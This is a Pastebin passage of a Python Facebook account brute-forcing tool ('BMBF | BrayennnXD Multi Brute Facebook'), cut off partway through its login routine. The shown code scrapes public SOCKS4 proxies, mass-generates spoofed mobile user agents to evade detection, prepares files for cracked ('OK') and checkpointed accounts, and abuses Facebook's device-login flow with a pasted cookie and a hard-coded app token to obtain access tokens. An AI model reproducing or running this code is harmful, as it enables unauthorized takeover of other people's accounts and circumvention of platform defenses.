Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #-----------------[ IMPORT-MODULE ]-------------------
- import requests,bs4,json,os,sys,random,datetime,time,re
- import urllib3,rich,base64
- from rich.table import Table as me
- from rich.console import Console as sol
- from bs4 import BeautifulSoup as sop
- from bs4 import BeautifulSoup as parser
- from bs4 import BeautifulSoup as par
- from concurrent.futures import ThreadPoolExecutor as tred
- from rich.console import Group as gp
- from rich.panel import Panel as panel
- from rich.panel import Panel as nel
- from rich.progress import track
- from time import sleep
- from rich import print as cetak
- from concurrent.futures import ThreadPoolExecutor as BrayennnXD
- from rich.panel import Panel
- from rich.markdown import Markdown as mark
- from rich.columns import Columns as col
- from rich.tree import Tree
- from rich import print as rprint
- from rich import print as prints
- from rich import pretty
- from rich.console import Console as sol
- from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
- from rich.text import Text as tekz
- dump = []
- ualu,ualuh = [],[]
- try:
- import rich
- except ImportError:
- cetak(nel('\t• Sedang Menginstall Modul Rich •'))
- os.system('pip install rich')
- try:
- import stdiomask
- except ImportError:
- cetak(nel('\t• Sedang Menginstall Modul Stdiomask •'))
- os.system('pip install stdiomask')
- try:
- import requests
- except ImportError:
- cetak(nel('\t• Sedang Menginstall Modul Requests •'))
- os.system('pip install requests && pip install mechanize ')
- ###----------[ IMPORT MODULE RICH ]---------- ###
- from rich.panel import Panel
- from rich.tree import Tree
- from rich import print as prints
- from rich.console import Console
- from rich.table import Table
- from rich.columns import Columns
- from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
- console = Console()
- sys.stdout.write('\x1b]2; BMBF | BrayennnXD Multi Brute Facebook\x07')
- #------------------[ USER-AGENT ]-------------------#
- pretty.install()
- CON=sol()
- ugen2=[]
- ugen=[]
- cokbrut=[]
- ses=requests.Session()
- princp=[]
- from rich.console import Console
- from rich.columns import Columns
- wa = Console()
- try:
- prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=80000&country=all&ssl=all&anonymity=all').text
- open('.prox.txt','w').write(prox)
- except Exception as e:
- print('[\x1b[1;92m•\x1b[1;97m] [\x1b[1;96mBrayennnXD')
- prox=open('.prox.txt','r').read().splitlines()
- for xd in range(10000):
- a=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
- b=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uaku=f'Mozilla/5.0 (Linux; Android {a}; SAMSUNG SM-A305FN) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
- ugen2.append(uaku)
- for t in range(10000):
- a=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
- b=random.choice(['SM-J415F','SM-J610F','CPH2109','CPH2015','SM-N975F','SM-M515F','SM-G530H','SM-J610G','SM-A405FN','SM-M317F','CPH1869','SM-G887N','SM-R765T','SM-G610M','SM-J327AZ'])
- c=random.choice(['OPM1','TP1A','RP1A','PPR1','PKQ1','QP1A','SP1A','RKQ1'])
- d=random.randrange(111111,210000)
- e=random.randrange(73,100)
- f=random.randrange(4200,4900)
- g=random.randrange(40,150)
- h=random.choice(['HeyTapBrowser/10.8.9.1','HeyTapBrowser/40.8.9.1','HeyTapBrowser/7.5.9','HeyTapBrowser/45.7.5.9','HeyTapBrowser/10.7.39.5','HeyTapBrowser/12.7.36.1','HeyTapBrowser/20.7.36.1','HeyTapBrowser/36.7.36.1','HeyTapBrowser/2.7.36.1','HeyTapBrowser/34.7.36.1','HeyTapBrowser/13.7.36.1,''HeyTapBrowser/16.7.36.1'])
- brayen1=f'Mozilla/5.0 (Linux; Android 8; Redmi 5 Build/PPR1.130409.011; en-us) AppleWebKit/537.36 (KHTML, likr Gecko) UCBrowser/79.0.5545.136 Mobile Safari/537.36 Puffin/9.7.281695AP {h}'
- brayen2=f'Mozilla/5.0 (Linux; Android 7; en-us; I1927 Build/RP1A.200720.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4702.120 Mobile Safari/537.36 Instagram 180.0.0.31.119 Android (30/11; 480dpi; 1080x2310; vivo/iQOO; I1927; I1928; qcom; e'
- uaku2 = random.choice([brayen1,brayen2])
- ugen.append(uaku2)
- for x in range(10):
- a=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
- b=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uak=f'Mozilla/5.0 (Linux; Android {a}; Pixel {b}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
- def uaku():
- try:
- ua=open('bbnew.txt','r').read().splitlines()
- for ub in ua:
- ugen.append(ub)
- except:
- a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
- ua=open('.bbnew.txt','w')
- aa=re.findall('line">(.*?)<',str(a))
- for un in aa:
- ua.write(un+'\n')
- ua=open('.bbnew.txt','r').read().splitlines()
- ###----------[ WARNA PRINT RICH ]---------- ###
- M2 = "[#FF0000]" # MERAH
- H2 = "[#00FF00]" # HIJAU
- K2 = "[#FFFF00]" # KUNING
- B2 = "[#00C8FF]" # BIRU
- P2 = "[#FFFFFF]" # PUTIH
- ###----------[ CEK WARNA TEMA ]---------- ###
- try:
- file_color = open("data/theme_color","r").read()
- color_text = file_color.split("|")[0]
- color_panel = file_color.split("|")[1]
- except:
- color_text = "[#00C8FF]"
- color_panel = "#00C8FF"
- #------------[ INDICATION ]---------------#
- id,id2,loop,ok,cp,akun,oprek,lisensiku,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[]
- taplikasi=['no']
- cokbrut=[]
- method = []
- pwpluss,pwnya=[],[]
- P = '\x1b[1;97m' # PUTIH
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- N = '\x1b[0m' # WARNA MATI
- #------------[ WARNA-COLOR ]--------------#
- P = '\x1b[1;97m'
- M = '\x1b[1;91m'
- H = '\x1b[1;92m'
- K = '\x1b[1;93m'
- B = '\x1b[1;94m'
- U = '\x1b[1;95m'
- O = '\x1b[1;96m'
- N = '\x1b[0m'
- Z = "\033[1;30m"
- sir = '\033[41m\x1b[1;97m'
- x = '\33[m' # DEFAULT
- m = '\x1b[1;91m' #RED +
- k = '\033[93m' # KUNING +
- h = '\x1b[1;92m' # HIJAU +
- hh = '\033[32m' # HIJAU -
- u = '\033[95m' # UNGU
- kk = '\033[33m' # KUNING -
- b = '\33[1;96m' # BIRU -
- p = '\x1b[0;34m' # BIRU +
- asu = random.choice([m,k,h,u,b])
- #--------------------[ CONVERTER-BULAN ]--------------#
- dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
- dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
- tgl = datetime.datetime.now().day
- bln = dic[(str(datetime.datetime.now().month))]
- thn = datetime.datetime.now().year
- okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- #------------------[ MACHINE-SUPPORT ]---------------#
- def alvino_xy(u):
- for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
- def clear():
- os.system('clear')
- def back():
- login()
- #------------------[ LOGO-LAKNAT ]-----------------#
- def banner():
- cetak(panel(f"""
- ⠐⣶⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢯⣿⣲⣄⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣟⣽⢟⣕⢄⠀⠀⠀⠀⠀⠀⣧⠀⡀⠀⠀⠀⠀⢠⢮⡾⣽⡻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡿⣮⣟⡼⡌⡆⠀⠀⠀⠀⡰⡵⠰⡃⠀⠀⠀⢠⢃⡻⣜⢯⣻⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡿⣮⡵⣫⡵⢹⠀⠀⠀⠻⡄⡧⣈⠚⠀⠀⠀⢸⢺⡗⣭⣛⢿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⡿⡵⢞⣫⡆⡹⠀⠀⠀⢑⠥⡨⡐⠫⣢⠀⠀⢸⢺⣽⢚⡭⣯⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⣿⣿⣶⣻⡭⣷⢣⠇⠄⠤⢀⠼⣄⣸⡌⡆⢠⡧⠀⠈⡷⣮⢯⣛⣶⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀
- ⠀⠀⠈⠢⡀⠠⡒⠀⠂⠐⠀⠂⠀⣀⣴⢾⣿⣿⣿⣷⣚⣷⡿⣳⠛⠒⠒⠒⢇⠏⡚⠓⠈⢀⢬⠓⠒⠒⠚⢞⡯⣟⣶⣛⣿⣿⣿⣿⡦⣖⠀⠀⠀⠀⠂⠐⠀⡄⠀⠐⠁⠀⠀⠀
- ⠀⠀⠀⠀⠘⡄⠈⠢⡀⢀⣠⡴⣟⢿⣹⢿⣺⣿⣟⣶⣛⡭⠛⠁⠀⠀⠀⠀⠈⣑⣜⡆⢔⣕⣁⠀⠀⠀⠀⠀⠙⢯⡞⣛⣾⣿⣿⣸⣿⣹⣿⠶⣤⡀⠀⡠⠊⢀⠎⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠈⣦⡴⣾⢯⡽⢾⡹⣾⣝⣾⣟⠫⠞⠋⡁⠤⠀⠒⠀⠉⠁⠀⠀⠀⢈⣷⣁⠀⠀⠀⠀⠉⠁⠐⠂⠤⢈⡙⠛⠯⣻⣾⣷⣏⢾⣻⢫⡽⣻⠶⣤⡂⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⣾⣯⣷⣯⣻⣿⣧⣿⣟⡕⢋⢠⠐⠊⠁⠀⡀⣤⢀⣲⣦⣭⣥⣤⣴⣶⣤⣴⣦⣤⣬⣭⣥⣖⣂⣤⣄⡀⠀⠁⠂⡄⡉⢪⣟⣿⣵⣯⣾⣭⣟⣏⣿⡄⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⢸⢿⣿⣿⣿⣯⣿⣿⢳⣾⠇⠋⢀⢠⠰⠘⢃⣡⣾⣿⣿⢿⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢻⣿⣿⣷⣮⣁⠃⠶⡄⡀⠁⠳⢹⣏⣿⣟⣿⣿⣾⣿⣿⣇⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⢸⣟⢟⢿⣝⣟⣻⢻⢿⠁⢀⠜⠋⠀⠀⣠⣿⣿⠏⣿⣧⡇⣸⣿⣟⣯⡿⣽⣻⡿⣽⣿⣏⢈⣼⣿⡟⣧⣝⢧⡀⠀⠁⠃⡄⠀⡏⡿⣻⣻⣻⡽⣫⢻⣿⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⢸⣿⢼⣱⢬⣙⡻⠭⣯⣦⣀⠑⠄⣀⣼⣿⣿⣮⠃⢿⣻⡿⣿⠟⣾⢷⣻⢯⣷⣟⣿⡻⣿⣿⣟⣿⠃⡾⣿⣷⡵⣄⢀⠔⢁⣠⣷⠿⢝⡚⡭⢮⣹⢿⡇⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⢿⣾⣹⢾⡱⣺⠭⣽⣱⢞⡿⣩⢿⣟⣳⣿⢿⣿⣿⣿⡽⡍⢸⣟⣯⣟⣿⢾⡽⣾⡇⠙⣺⣽⣿⣷⣿⣿⣷⢻⣷⣭⢻⣗⢦⣻⡱⣽⢚⣟⣦⣿⣿⠃⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⡸⢿⣿⣟⣧⣷⣹⢥⠷⣞⣱⢏⡾⣱⣎⠧⣽⡱⠯⣟⢿⡡⠈⣿⣳⢿⡾⣿⡽⣷⠃⢄⡧⣟⡝⡧⢿⣲⣙⣧⢳⡞⣧⠺⡭⣖⢿⣸⣏⣷⣿⣿⠏⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⢀⠜⠀⠠⠛⠿⣿⣿⣿⣿⣿⣵⣯⣾⢾⡳⣌⣿⢣⣝⣟⢣⠗⣝⢷⣿⣟⣯⣟⡷⣿⣿⡶⣫⣚⢖⡻⣵⣋⠷⣞⠼⣯⣳⣽⣯⣿⣿⣿⣿⣿⠿⠛⢅⠀⠑⡀⠀⠀⠀⠀
- ⠀⠀⢀⠎⠀⡰⠁⠀⠀⠀⠈⠉⠛⣿⣿⣿⣿⣷⣿⣋⣮⢷⡹⣌⣧⢿⢫⢵⣻⣟⣾⣽⣻⢷⡿⡽⣜⢻⢮⣕⢫⢷⣽⣎⣿⣿⣿⣿⣿⡿⡟⠉⠉⠀⠀⠀⠀⢢⠀⠘⠄⠀⠀⠀
- ⠀⢀⠊⠀⡐⠀⠀⢀⣀⠀⠀⠀⢸⣿⣾⣿⣿⣿⣿⣿⣾⡷⢻⡹⣜⣣⣿⢫⢧⣿⣟⣾⣽⣿⢻⣞⣧⣏⡳⢯⣛⢾⣶⣿⣿⣿⣿⣿⣿⡇⢻⠀⠀⠀⢀⣀⠀⠀⠡⠀⠈⡄⠀⠀
- ⠀⠌⠀⡰⠀⠀⠀⢸⣿⣷⣤⣀⠘⣿⣿⣿⣿⣿⣿⣽⣷⣿⣿⣿⣭⣷⣼⣟⣾⣻⣿⣯⢿⣏⣿⣿⣶⣾⣽⣻⣟⣿⣻⣿⣽⣿⣿⣿⣿⣇⡏⢀⣤⣴⡿⡝⠀⠀⠀⢣⠀⠘⡀⠀
- ⠐⠀⢠⠁⠀⠀⠀⠀⠙⣷⣿⣻⣷⣿⣿⣿⣻⣟⣿⣯⣿⣿⣽⣯⣟⣭⣷⣿⣾⡿⣯⣿⢿⣿⣷⣿⣿⣼⣹⣿⣻⣿⣿⣽⣿⢿⣻⣽⣿⣿⢳⣿⣟⣟⠟⠀⠀⠀⠀⠀⠆⠀⢡⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣷⣟⣿⣽⣿⣯⣷⣿⡾⣿⣶⣯⣟⠿⣟⣿⣻⣽⢿⣽⣻⣿⣻⣾⣳⢯⣟⣿⣻⣿⣿⣟⣿⣭⣛⣿⣳⣯⣿⣏⣾⣟⣾⣿⠀⠀⠀⠀⠀⠀⠘⡀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⢿⣿⣿⣟⣿⢿⣯⣟⣷⣻⣾⣽⣻⣾⡿⣷⣿⣻⣾⢿⣷⣿⢿⣻⣿⣻⣿⢿⣻⣾⣽⣾⣽⣻⣽⡿⣿⢷⣽⣿⣿⣿⢹⠀⠀⠀⠀⠀⠀⠀⠃⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣟⣿⣿⣿⣯⣿⣟⣿⣿⣿⣷⣿⣻⣾⣽⢿⣽⣻⢾⡿⣯⢿⣻⣽⢯⡿⣽⡻⣫⣵⣾⣾⣿⣟⣿⣿⢿⡟⣾⣿⣟⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣻⣽⣿⣯⣟⣿⣿⣿⡿⠟⢻⠟⡿⣾⣭⣽⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠟⢛⠿⣿⣿⣿⣿⣿⢸⣿⡿⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⢿⣿⣟⣿⣿⣿⣿⠀⠀⢼⠠⠌⠘⣿⣿⣿⣿⡿⣿⣟⢿⣿⣿⣿⡋⠀⠄⡤⠄⠈⣿⣿⣿⣿⣼⢸⣿⣿⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⢘⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣻⣿⣿⣿⣿⣶⣶⣶⣶⣿⣿⣿⣿⣿⢿⣻⣯⣸⣷⣿⣿⣿⣷⣶⣷⣶⣾⣿⣿⣿⣿⢿⣾⣿⣿⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⢿⣿⣿⢷⣿⣿⣿⣯⡿⢷⣿⣿⣿⣿⣿⣻⣷⣿⣿⣿⣿⣞⣿⣻⣽⢿⣿⣿⣷⣿⣟⣫⣿⣿⣿⣿⣷⡌⣻⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣯⣿⣳⣿⣽⣻⣿⣻⡽⣟⣾⣳⣿⣿⣿⣿⣿⣿⣿⣷⢿⣿⣻⢾⣻⣟⡿⣿⡯⢿⣾⣿⣵⣿⡣⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢿⣿⣿⣿⣿⣿⣿⣿⣯⣷⡿⣿⣿⣿⣿⣿⣿⣿⣿⡾⣟⣯⣯⣴⣿⣿⣿⣿⣿⣿⣿⠎⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠀⠀⠀
- ⠀⠀⠈⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⣿⣿⣿⣿⣿⣿⣿⡾⣟⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⡉⠢⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠃⠀⠄⠀
- ⠀⠀⠀⠘⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠊⠠⠈⠈⣿⣷⣿⢻⣷⣿⣿⢿⣻⣿⡿⣿⣿⢿⣿⣻⣷⣿⡻⣿⡿⡏⣿⣷⣿⠃⠑⢄⠐⢄⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠎⠀⡰⠀⠀
- ⠀⠀⢢⠀⠘⡀⠀⠀⠀⠀⠀⠀⡠⠐⢀⠔⠁⠀⠀⢸⣿⣿⣼⠂⢻⠃⣿⢻⣷⣿⣿⣾⣿⡟⣿⡟⢿⠋⣿⠁⣸⣿⣿⣿⠀⠀⠀⠑⠄⠑⢄⠀⠀⠀⠀⠀⠀⢀⠎⠀⡰⠁⠀⠀
- ⠀⠀⠀⠡⡀⠈⢄⠀⢀⡠⠔⠊⠀⠀⠆⠀⠀⠀⠀⢸⣿⣿⣿⣷⣿⠀⣯⠀⡿⢹⠛⣿⠟⣷⣿⠃⣾⡄⠙⣶⣿⣿⣽⣿⠀⠀⠀⠀⠈⡄⠀⠈⠂⠄⣀⠀⢠⠊⠀⡐⠁⠀⠀⠀
- ⠀⠀⠀⠀⠑⡀⠀⠪⡉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠘⣿⣿⢿⣿⢧⡚⣿⣤⡇⡸⠀⢿⠀⢹⣿⣦⣿⡇⣿⣿⣿⣿⣾⠇⠀⠀⠀⡀⠈⠉⠉⠉⠉⠉⠉⡙⠁⢀⠜⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠘⢆⠀⠘⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⢿⣿⣿⣿⣿⣷⣦⣿⣤⣾⣿⣿⣿⣿⡿⡜⣿⣷⡟⠀⠀⣴⣿⣿⣿⣶⡄⠀⠀⣠⠞⠀⣠⠆⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠈⠳⡄⠈⠃⠀⠀⣤⣤⡄⢠⠀⢠⡄⢨⣿⡿⣿⣯⠹⠻⣿⣿⣿⣿⣿⣿⢿⡿⣿⡿⣿⣽⣾⣿⢻⢧⣤⣼⣿⣵⣦⢨⣿⣿⣤⠞⠁⠀⠞⠁⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⡀⠀⠐⢌⡉⠐⠢⡀⠀⠀⢰⠹⢿⣻⢿⣸⣄⢹⡻⢿⣿⣿⣿⡿⣿⣜⢿⣞⣿⣿⣳⠏⠉⠀⠀⠙⣿⠟⠀⣹⡇⡇⢀⠔⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠑⢄⡀⠈⠂⠄⡀⠑⠄⠘⠴⠉⣿⣟⣿⣧⣼⣧⣸⡆⣼⢀⣿⣿⣟⣧⡻⣿⣿⣷⣦⡰⠀⡠⠊⡠⡶⠈⣾⣿⠗⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠒⠄⡀⠀⠁⠂⠆⠀⢌⠈⣿⣯⢿⡽⣯⣿⢿⡿⣾⣟⣿⣿⢿⣻⣮⣿⣾⡿⣦⣘⠂⠁⠀⣠⣾⡿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⢀⡀⠀⠀⠀⠀⠁⠂⡄⢀⡀⠀⠁⠐⠛⠻⢽⣳⣟⣯⣟⣷⣻⣾⣽⠿⢿⣿⣞⣯⢿⡿⣿⣻⣿⢿⣟⢿⡿⠁⣀⠀⣀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠈⡆⠀⠀⠀⢀⠎⢠⠂⠈⠑⡀⠠⡀⠤⠤⠀⠀⠀⠀⠀⠀⠀⠠⠤⠄⢘⠙⠻⠯⢿⣟⣷⣯⡿⠾⠋⢀⠊⠀⠀⠀⠈⢢⠀⠀⠀⠀ ⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⢠⠁⠀⢠⠊⠀⠈⠃⠀⠀⢀⠂⡠⠁⠀⠀⠀⠈⢄⠐⠄⠀⠀D+M+C⠀⠀⠀⠀⡠⠁⡰⠁⠀⠀⠀⢢⠈⢄⠀⠀⠈⠊⠀⠁⠂⠀⠀⡇⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠈⡄⠀⠘⢄⠀⠀⠀⢀⠠⠁⡐⠁⠀⠀⠀⠀⠀⠈⢂⠈⢄⠀⠀⠀⠀⠀⠀⠀⠀⡐⠁⠔⠀⠀⠀⠀⠀⠀⠡⡀⠢⡀⠀⠀⠀⢀⠄⠀⠀⠇⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠐⢄⠀⠀⠉⠐⠂⠁⠀⠌⠀⠀⠀⠀⠀⠀⠀⠀⠀⠣⠀⠢⠀⠀⠀⠀⠀⢀⠌⢀⠌⠀⠀⠀⠀⠀⠀⠀⠀⠑⢄⠀⠁⠒⠈⠀⠀⢀⠌⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠂⠠⠄⠐⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠱⡀⠡⡀⠀⠀⢠⠊⢀⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠒⠀⠄⠀⠂⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠄⠐⠄⡠⠁⡠⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢆⠈⠀⡐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
- """,width=90,title=f"Banner",style=f"bold white"))
- #--------------------[ BAGIAN-MASUK ]--------------#
- def login():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- tokenku.append(token)
- try:
- sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
- sy2 = json.loads(sy.text)['name']
- sy3 = json.loads(sy.text)['id']
- menu(sy2,sy3)
- except KeyError:
- login_lagi334()
- except requests.exceptions.ConnectionError:
- li = '# Problem Internet Connection, Check And Try Again'
- lo = mark(li, style='red')
- sol().print(lo, style='cyan')
- exit()
- except IOError:
- login_lagi334()
- def login_lagi334():
- try:
- os.system('clear')
- banner()
- cetak(nel('Disarankan Untuk Menggunakan Cookie Yang Masih Fresh Untuk Melakukan Crack Account',width=90,style=f"bold white"))
- your_cookies = input(' ╰─ Masukan Cookie : ')
- with requests.Session() as r:
- try:
- r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
- data = {'access_token': '1348564698517390|007c0a9101b9e1c8ffab727666805038','scope': ''}
- response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
- code, user_code = response['code'], response['user_code']
- verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=1348564698517390%7C007c0a9101b9e1c8ffab727666805038&callback=LeetsharesCallback'.format(code))
- r.headers.pop('content-type')
- r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
- response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
- if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
- print(" ╰─ Cookie Invalid...", end='\r');time.sleep(3.5);print(" ", end='\r');exit()
- else:
- action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
- fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
- jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
- data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
- r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
- response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
- if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
- r.headers.pop('content-type');r.headers.pop('origin')
- response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
- action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
- fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
- jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
- scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
- display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
- user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
